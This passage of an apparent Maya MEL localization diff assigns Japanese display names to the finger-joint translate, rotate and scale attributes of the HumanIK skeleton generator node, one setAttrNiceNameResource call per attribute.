1 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex1Rx", "左手人差指 1 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex1Ry", "左手人差指 1 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex1Rz", "左手人差指 1 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex1S", "左手人差指 1 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex1Sx", "左手人差指 1 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex1Sy", "左手人差指 1 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex1Sz", "左手人差指 1 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex2T", "左手人差指 2 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex2Tx", "左手人差指 2 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex2Ty", "左手人差指 2 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex2Tz", "左手人差指 2 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex2R", "左手人差指 2 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex2Rx", "左手人差指 2 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex2Ry", "左手人差指 2 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex2Rz", "左手人差指 2 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex2S", "左手人差指 2 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex2Sx", "左手人差指 2 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex2Sy", "左手人差指 2 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex2Sz", "左手人差指 2 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex3T", "左手人差指 3 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex3Tx", "左手人差指 3 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex3Ty", "左手人差指 3 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex3Tz", "左手人差指 3 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex3R", "左手人差指 3 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex3Rx", "左手人差指 3 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex3Ry", "左手人差指 3 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex3Rz", "左手人差指 3 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex3S", "左手人差指 3 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex3Sx", "左手人差指 3 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex3Sy", "左手人差指 3 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex3Sz", "左手人差指 3 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex4T", "左手人差指 4 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex4Tx", "左手人差指 4 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex4Ty", "左手人差指 4 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex4Tz", "左手人差指 4 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex4R", "左手人差指 4 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex4Rx", "左手人差指 4 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex4Ry", "左手人差指 4 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex4Rz", "左手人差指 4 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex4S", "左手人差指 4 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex4Sx", "左手人差指 4 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex4Sy", "左手人差指 4 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex4Sz", "左手人差指 4 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle1T", "左手中指 1 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle1Tx", "左手中指 1 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle1Ty", "左手中指 1 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle1Tz", "左手中指 1 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle1R", "左手中指 1 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle1Rx", "左手中指 1 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle1Ry", "左手中指 1 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle1Rz", "左手中指 1 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle1S", "左手中指 1 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle1Sx", "左手中指 1 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle1Sy", "左手中指 1 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle1Sz", "左手中指 1 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle2T", "左手中指 2 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle2Tx", "左手中指 2 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle2Ty", "左手中指 2 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle2Tz", "左手中指 2 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle2R", "左手中指 2 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle2Rx", "左手中指 2 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle2Ry", "左手中指 2 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle2Rz", "左手中指 2 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle2S", "左手中指 2 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle2Sx", "左手中指 2 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle2Sy", "左手中指 2 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle2Sz", "左手中指 2 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle3T", "左手中指 3 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle3Tx", "左手中指 3 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle3Ty", "左手中指 3 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle3Tz", "左手中指 3 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle3R", "左手中指 3 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle3Rx", "左手中指 3 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle3Ry", "左手中指 3 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle3Rz", "左手中指 3 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle3S", "左手中指 3 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle3Sx", "左手中指 3 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle3Sy", "左手中指 3 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle3Sz", "左手中指 3 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle4T", "左手中指 4 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle4Tx", "左手中指 4 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle4Ty", "左手中指 4 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle4Tz", "左手中指 4 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle4R", "左手中指 4 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle4Rx", "左手中指 4 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle4Ry", "左手中指 4 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle4Rz", "左手中指 4 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle4S", "左手中指 4 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle4Sx", "左手中指 4 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle4Sy", "左手中指 4 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle4Sz", "左手中指 4 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing1T", "左手薬指 1 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing1Tx", "左手薬指 1 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing1Ty", "左手薬指 1 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing1Tz", "左手薬指 1 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing1R", "左手薬指 1 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing1Rx", "左手薬指 1 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing1Ry", "左手薬指 1 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing1Rz", "左手薬指 1 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing1S", "左手薬指 1 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing1Sx", "左手薬指 1 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing1Sy", "左手薬指 1 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing1Sz", "左手薬指 1 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing2T", "左手薬指 2 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing2Tx", "左手薬指 2 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing2Ty", "左手薬指 2 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing2Tz", "左手薬指 2 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing2R", "左手薬指 2 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing2Rx", "左手薬指 2 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing2Ry", "左手薬指 2 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing2Rz", "左手薬指 2 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing2S", "左手薬指 2 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing2Sx", "左手薬指 2 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing2Sy", "左手薬指 2 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing2Sz", "左手薬指 2 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing3T", "左手薬指 3 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing3Tx", "左手薬指 3 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing3Ty", "左手薬指 3 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing3Tz", "左手薬指 3 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing3R", "左手薬指 3 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing3Rx", "左手薬指 3 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing3Ry", "左手薬指 3 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing3Rz", "左手薬指 3 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing3S", "左手薬指 3 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing3Sx", "左手薬指 3 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing3Sy", "左手薬指 3 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing3Sz", "左手薬指 3 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing4T", "左手薬指 4 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing4Tx", "左手薬指 4 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing4Ty", "左手薬指 4 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing4Tz", "左手薬指 4 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing4R", "左手薬指 4 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing4Rx", "左手薬指 4 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing4Ry", "左手薬指 4 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing4Rz", "左手薬指 4 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing4S", "左手薬指 4 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing4Sx", "左手薬指 4 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing4Sy", "左手薬指 4 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing4Sz", "左手薬指 4 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky1T", "左手小指 1 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky1Tx", "左手小指 1 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky1Ty", "左手小指 1 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky1Tz", "左手小指 1 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky1R", "左手小指 1 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky1Rx", "左手小指 1 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky1Ry", "左手小指 1 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky1Rz", "左手小指 1 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky1S", "左手小指 1 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky1Sx", "左手小指 1 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky1Sy", "左手小指 1 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky1Sz", "左手小指 1 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky2T", "左手小指 2 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky2Tx", "左手小指 2 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky2Ty", "左手小指 2 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky2Tz", "左手小指 2 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky2R", "左手小指 2 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky2Rx", "左手小指 2 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky2Ry", "左手小指 2 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky2Rz", "左手小指 2 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky2S", "左手小指 2 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky2Sx", "左手小指 2 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky2Sy", "左手小指 2 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky2Sz", "左手小指 2 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky3T", "左手小指 3 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky3Tx", "左手小指 3 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky3Ty", "左手小指 3 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky3Tz", "左手小指 3 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky3R", "左手小指 3 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky3Rx", "左手小指 3 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky3Ry", "左手小指 3 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky3Rz", "左手小指 3 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky3S", "左手小指 3 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky3Sx", "左手小指 3 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky3Sy", "左手小指 3 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky3Sz", "左手小指 3 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky4T", "左手小指 4 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky4Tx", "左手小指 4 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky4Ty", "左手小指 4 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky4Tz", "左手小指 4 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky4R", "左手小指 4 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky4Rx", "左手小指 4 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky4Ry", "左手小指 4 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky4Rz", "左手小指 4 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky4S", "左手小指 4 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky4Sx", "左手小指 4 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky4Sy", "左手小指 4 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky4Sz", "左手小指 4 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger1T", "左手追加指 1 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger1Tx", "左手追加指 1 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger1Ty", "左手追加指 1 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger1Tz", "左手追加指 1 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger1R", "左手追加指 1 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger1Rx", "左手追加指 1 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger1Ry", "左手追加指 1 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger1Rz", "左手追加指 1 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger1S", "左手追加指 1 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger1Sx", "左手追加指 1 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger1Sy", "左手追加指 1 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger1Sz", "左手追加指 1 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger2T", "左手追加指 2 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger2Tx", "左手追加指 2 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger2Ty", "左手追加指 2 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger2Tz", "左手追加指 2 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger2R", "左手追加指 2 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger2Rx", "左手追加指 2 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger2Ry", "左手追加指 2 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger2Rz", "左手追加指 2 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger2S", "左手追加指 2 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger2Sx", "左手追加指 2 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger2Sy", "左手追加指 2 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger2Sz", "左手追加指 2 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger3T", "左手追加指 3 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger3Tx", "左手追加指 3 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger3Ty", "左手追加指 3 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger3Tz", "左手追加指 3 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger3R", "左手追加指 3 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger3Rx", "左手追加指 3 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger3Ry", "左手追加指 3 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger3Rz", "左手追加指 3 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger3S", "左手追加指 3 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger3Sx", "左手追加指 3 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger3Sy", "左手追加指 3 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger3Sz", "左手追加指 3 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger4T", "左手追加指 4 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger4Tx", "左手追加指 4 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger4Ty", "左手追加指 4 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger4Tz", "左手追加指 4 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger4R", "左手追加指 4 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger4Rx", "左手追加指 4 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger4Ry", "左手追加指 4 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger4Rz", "左手追加指 4 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger4S", "左手追加指 4 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger4Sx", "左手追加指 4 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger4Sy", "左手追加指 4 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger4Sz", "左手追加指 4 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb1T", "右手親指 1 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb1Tx", "右手親指 1 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb1Ty", "右手親指 1 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb1Tz", "右手親指 1 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb1R", "右手親指 1 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb1Rx", "右手親指 1 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb1Ry", "右手親指 1 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb1Rz", "右手親指 1 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb1S", "右手親指 1 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb1Sx", "右手親指 1 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb1Sy", "右手親指 1 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb1Sz", "右手親指 1 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb2T", "右手親指 2 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb2Tx", "右手親指 2 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb2Ty", "右手親指 2 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb2Tz", "右手親指 2 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb2R", "右手親指 2 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb2Rx", "右手親指 2 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb2Ry", "右手親指 2 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb2Rz", "右手親指 2 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb2S", "右手親指 2 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb2Sx", "右手親指 2 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb2Sy", "右手親指 2 Sy" ); +setAttrNiceNameResource( 